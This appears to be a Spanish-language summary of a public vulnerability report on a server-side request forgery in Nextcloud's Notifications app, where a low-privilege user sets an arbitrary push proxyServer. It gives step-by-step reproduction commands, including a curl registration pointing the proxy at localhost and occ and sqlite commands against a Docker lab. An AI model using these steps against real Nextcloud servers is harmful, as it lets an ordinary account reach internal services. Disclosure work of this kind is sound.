Reports
MEDIA[SSRF]#3623149

SSRF en la app Notifications de Nextcloud por un proxyServer de push controlado por el usuario

Un usuario autenticado sin privilegios podía registrar un dispositivo push indicando un servidor proxy arbitrario. Al generarse una notificación, el backend hacía una petición POST hacia esa dirección, incluidos destinos internos como localhost.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

La aplicación Notifications de Nextcloud (versión 5.0.0 en las pruebas) deja que los clientes registren un dispositivo para recibir avisos push a través del endpoint OCS POST /ocs/v2.php/apps/notifications/api/v2/push. Entre los datos que envía el cliente está el servidor proxy encargado de entregar esas notificaciones, en el parámetro proxyServer.

El fallo está en que ese valor lo elige el usuario. La ruta del controlador que recibe el registro (lib/Controller/PushController.php) es NoAdminRequired, así que cualquier cuenta normal puede registrar el proxy que quiera. Más tarde, cuando se dispara una notificación para ese usuario, el backend ejecuta por su cuenta una petición POST contra {proxyServer}/notifications (en lib/Push.php, dentro de sendNotificationsToProxies()).

El resultado es un Server-Side Request Forgery (SSRF): el atacante consigue que el propio servidor de Nextcloud emita peticiones salientes hacia un destino que él elige, incluidos servicios internos o localhost.

Pasos de reproducción

El investigador lo reprodujo en una instancia de pruebas en Docker (contenedor nextcloud-new) con un usuario normal llamado yoyo, lanzando las órdenes desde PowerShell.

  1. Definir la dirección de la instancia y el usuario:
$base='http://192.168.51.102:8082'
$u='yoyo'
  1. Crear una contraseña de aplicación para yoyo (copiar el valor que aparece tras "app password:"):
docker exec -u www-data nextcloud-new php occ user:auth-tokens:add yoyo --no-interaction
  1. Asegurarse de que el usuario no esté en modo "No molestar" (con DND activo el push puede omitirse):
docker exec nextcloud-new sqlite3 /var/www/html/data/owncloud.db "update oc_user_status set status='online', is_user_defined=1 where user_id='yoyo';"
  1. Crear un fichero con una clave pública de ejemplo:
$keyFile = Join-Path $env:TEMP 'nc_push_pub.pem'
$pem = @'
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Or1KumSDfk8dT0MuCW9
WS5wkVOpNsbz2OIJFBYrBvu6joC2iQo9StONMaXoTQj5Ucak9UBtC60PHyTkIDFb
HOpCST5onmIAtZdqHN/3ABOBeHVU/notdRIl/menGM64jiqGWvE06F1+yZ8GGcGQ
8RKzabqMd2K1iUohXP625uzTABVaiwz3u8nGEwui5R6Pf5Fy6DccuqdUMtJIfW21
Z4Tj48Tw+pR+fUrGpa1Wg+wiwlg7ISK8Symml1Rd6hSRXK2t8Opm/kjH9ZX8oVwn
RSO1ehjzRpTY+gdw/5gvwMZI0XmrIanZmZHwePRR4HC6FLPrL2OQG3gWikDIPyTS
hQIDAQAB
-----END PUBLIC KEY-----
'@
Set-Content -Path $keyFile -Value $pem -NoNewline -Encoding ascii
  1. Registrar un dispositivo push con un proxyServer controlado por el usuario, sustituyendo APP_PASS por la contraseña de aplicación del paso 2:
$appPass='APP_PASS'
$pushHash=('a'*128)

curl.exe -i -s -u "$u`:$appPass" `
  -H "OCS-APIRequest: true" `
  -H "Accept: application/json" `
  --data-urlencode "pushTokenHash=$pushHash" `
  --data-urlencode "devicePublicKey@$keyFile" `
  --data-urlencode "proxyServer=http://localhost/" `
  "$base/ocs/v2.php/apps/notifications/api/v2/push?format=json"

El registro responde con HTTP/1.1 201 Created.

  1. Disparar una notificación push para ese usuario:
docker exec -u www-data nextcloud-new php occ notification:test-push yoyo --files -vvv
  1. Buscar en los registros la petición saliente del backend:
docker logs --since 5m nextcloud-new 2>&1 | Select-String "POST /notifications|Nextcloud Server Crawler|api/v2.php/apps/notifications/api/v2/push"

Aparece una línea como esta:

127.0.0.1 - - [...] "POST /notifications HTTP/1.1" ... "Nextcloud Server Crawler"

La petición sale de 127.0.0.1, va contra /notifications y lleva el user-agent Nextcloud Server Crawler: es el propio backend quien la emite hacia el destino elegido por el usuario.

Impacto

Un usuario autenticado con privilegios bajos puede obligar al servidor a enviar peticiones HTTP POST a destinos que él decide, incluidos localhost y otros servicios internos. Es una primitiva de SSRF que permite llegar a la red interna desde una cuenta de usuario corriente.